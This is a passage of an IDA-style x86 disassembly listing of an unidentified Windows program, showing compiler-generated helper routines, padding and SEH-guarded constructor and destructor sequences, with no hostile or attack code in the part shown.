retn 0Ch
; ---------------------------------------------------------------------------
loc_41607A: ; CODE XREF: sub_416020+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416020 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4160B0 proc near ; CODE XREF: sub_401C8Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015AF
sub_4160B0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4160C5
mov edi, esi
loc_4160C5: ; CODE XREF: ___:004160C1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_4160DA
mov edi, esi
loc_4160DA: ; CODE XREF: ___:004160D6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416100 proc near ; CODE XREF: sub_401E33j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416100 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416120 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416120 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416140 proc near ; CODE XREF: sub_402144j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416140 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416160 proc near ; CODE XREF: sub_401E97j
mov eax, ecx
retn
sub_416160 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416180 proc near ; CODE XREF: sub_401CDAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416180 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161B0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018C5
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4161B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161E0 proc near ; CODE XREF: sub_401EC4j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4161E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416210 proc near ; CODE XREF: sub_401D11j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017DF
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DB6
sub_416210 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017DF
push edi
mov [eax], ebx
call sub_4017DF
mov edi, [eax]
push edi
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017E4
add esp, 4
mov ecx, esi
push eax
call sub_401E15
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4162B0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EBF
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BCC
push esi
mov ebx, eax
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017DF
push esi
mov ebx, eax
call sub_401BCC
mov eax, [eax]
push eax
call sub_4017DF
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017E4
add esp, 1Ch
mov ecx, edi
push eax
call sub_401401
push esi
mov ecx, edi
call sub_401F14
sub_4162B0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416370 proc near ; CODE XREF: sub_40140Bj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4163CA
loc_416388: ; CODE XREF: sub_416370+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EBF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416388
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4163CA: ; CODE XREF: sub_416370+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416370 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416400 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401EBA
sub_416400 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416415
mov edi, esi
loc_416415: ; CODE XREF: ___:00416411j
push esi
call sub_401BCC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41642A
mov edi, esi
loc_41642A: ; CODE XREF: ___:00416426j
push esi
call sub_4017DF
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416450 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401866
sub_416450 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416470 proc near ; CODE XREF: sub_401BCCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416490 proc near ; CODE XREF: sub_4017E4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416490 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164B0 proc near ; CODE XREF: sub_401E42j
mov eax, ecx
retn
sub_4164B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164D0 proc near ; CODE XREF: sub_401D7Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401618
mov eax, esi
pop esi
retn 4
sub_4164D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416500 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416500 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416530 proc near ; CODE XREF: sub_401456j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416530 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416560 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416560 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416580 proc near ; CODE XREF: sub_4020F4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416580 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4165B0 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4165B0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165D0 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4165D0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416600 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416620 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416620 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416640 proc near ; CODE XREF: sub_401A5Fj
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_416640 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416660 proc near ; CODE XREF: sub_40210Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416660 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416690 proc near ; CODE XREF: sub_401CBCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E74
neg al
sbb eax, eax
inc eax
retn 4
sub_416690 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166C0 proc near ; CODE XREF: sub_401C62j
mov eax, [ecx]
retn
sub_4166C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166E0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416700 proc near ; CODE XREF: sub_4015AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416700 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416730 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416730 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416750 proc near ; CODE XREF: sub_4015F0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40205E
add esp, 8
retn 8
sub_416750 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416780 proc near ; CODE XREF: sub_401D61j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416780 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167A0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167C0 proc near ; CODE XREF: sub_401F8Cj
mov eax, [ecx]
retn
sub_4167C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167E0 proc near ; CODE XREF: sub_4017DFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4167E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416800 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416800 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416830 proc near ; CODE XREF: sub_401866j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416830 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416850 proc near ; CODE XREF: sub_401E15j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020EA
add esp, 8
retn 8
sub_416850 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416880 proc near ; CODE XREF: sub_401401j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416880 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168A0 proc near ; CODE XREF: sub_401618j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4168A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168C0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4168C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168E0 proc near ; CODE XREF: sub_401E74j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4168E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416910 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41692B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41692B: ; CODE XREF: sub_416910+11j
retn
sub_416910 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416960 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41697B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41697B: ; CODE XREF: sub_416960+11j
retn
sub_416960 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4169B0 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4169CB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4169CB: ; CODE XREF: sub_4169B0+11j
retn
sub_4169B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
dd 0B436E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 416A6068h, 116CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh)
dd 449118B9h, 0B1EEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416A80: ; CODE XREF: ___:00401C58j
push 0FFFFFFFFh
push offset loc_43B2E1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021FD
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401F00
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_401771
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_402013
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401E06
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_401889
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F46
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B3B
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017DA
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018D9
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401ECE
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402239
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017AD
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A32
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C5
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401EA1
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014FB
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401CA3
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401938
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_401447
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416CF0: ; CODE XREF: ___:00401E60j
push 0FFFFFFFFh
push offset loc_43B4C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_4020BD
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015E6
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_402018
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_401A00
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_401587
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_40164F
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401780
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_40169F
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_40182F
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016BD
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_40141F
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D25
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A91
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CB7
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402121
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_40157D
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_401799
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_40142E
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_40142E
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_40142E
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_40142E
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401B0E
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416F70 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416F70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B1D
sub_416F70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416FE0 proc near ; CODE XREF: sub_401938j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416FE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40208B
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40208B
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40208B
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40208B
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40208B
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AE6
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AE6
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AE6
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AE6
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AE6
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AE6
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AE6
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AE6
lea ecx, [esi+8E0h]
